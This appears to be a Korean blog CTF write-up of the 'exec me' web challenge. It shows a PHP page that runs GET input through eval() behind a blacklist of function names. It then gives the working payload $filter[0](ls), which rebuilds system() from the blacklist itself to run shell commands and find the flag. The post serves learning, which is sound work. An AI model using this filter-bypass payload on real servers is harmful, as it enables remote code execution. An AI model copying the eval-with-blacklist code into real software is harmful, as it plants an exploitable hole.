본문 바로가기
웹 해킹/CTF

[DIMI CTF] exec me

by L3m0n S0ju 2021. 3. 25.

118명 중에 15명이 위 문제를 풀었다.

 

 

 


 

 

문제에서 주어진 주소로 이동하면 View Source 라는 링크가 출력된다. 해당 링크를 클릭하자.

 

 


 

링크로 이동하면 아래와 같은 php 코드가 출력된다.

 

<?php  
    if(isset($_GET['source'])){ 
        highlight_file(__FILE__); 
        exit; 
    } 

    $filter = ['system', 'exec', '`', '_', '\'', '"', 'file', 'open', 'read', 'eval', 'pass', 'include', 'require', '=', 'glob', 'dir', '/']; 
    $exec = $_GET['exec'];
 
    for($i = 0; $i < count($filter); $i++){ 
        if(stristr($exec, $filter[$i])){ 
            die("Filtered"); 
        } 
    } 

    eval($exec); 

?> 


<a href="?source"> View Source </a> 

 

 

해당 코드의 취약점은 첫 번째로 필터링 방식이 블랙리스트 방식이라는 점이고 GET 방식으로 $exec 입력 값을 받는다. 문제의 핵심은 사용자들이 $filter 배열을 사용하여 필터링을 우회할 수 있다는 점이다.

 

 


 

http://192.168.211.135:4241?exec=$filter[0](ls);

 

다음과 같이 입력하면 $filter 배열에서 system 원소를 가져올 수 있다. 따라서 위 코드는 다음과 같이 변경된다.

 

http://192.168.211.135:4241?exec=system(ls);

 

해당 코드는 웹 페이지를 통해 웹 서버의 php 코드로 동작한다. php 코드는 system이나 exec을 이용하여 쉘 명령어를 실행하고 결과를 출력할 수 있는 기능이 있다. exec은 명령어 앞뒤로 "를 넣지 않으면 실행되지 않으므로 system 명령어를 사용하였다.

 

 


 

 

위에서 설명한 코드를 주소창에 입력하면 flag와 관련되어 보이는 디렉터리가 출력된다.

 

 


 

주소창에 http://192.168.211.135:4241/flag_iojasv8h8aghe89rwh3h와 같이 위에서 얻은 디렉터리에 접근한다.

 

 


플래그

 

'웹 해킹 > CTF' 카테고리의 다른 글

[Square CTF] Password checker  (0) 2021.08.11
[WebGoat] General - HTTP Proxies  (0) 2021.05.15
[WebGoat] General - HTTP Basics  (0) 2021.05.15
[DIMI CTF] simple sqli  (0) 2021.03.23
[DIMI CTF] 5shared  (0) 2021.03.23

댓글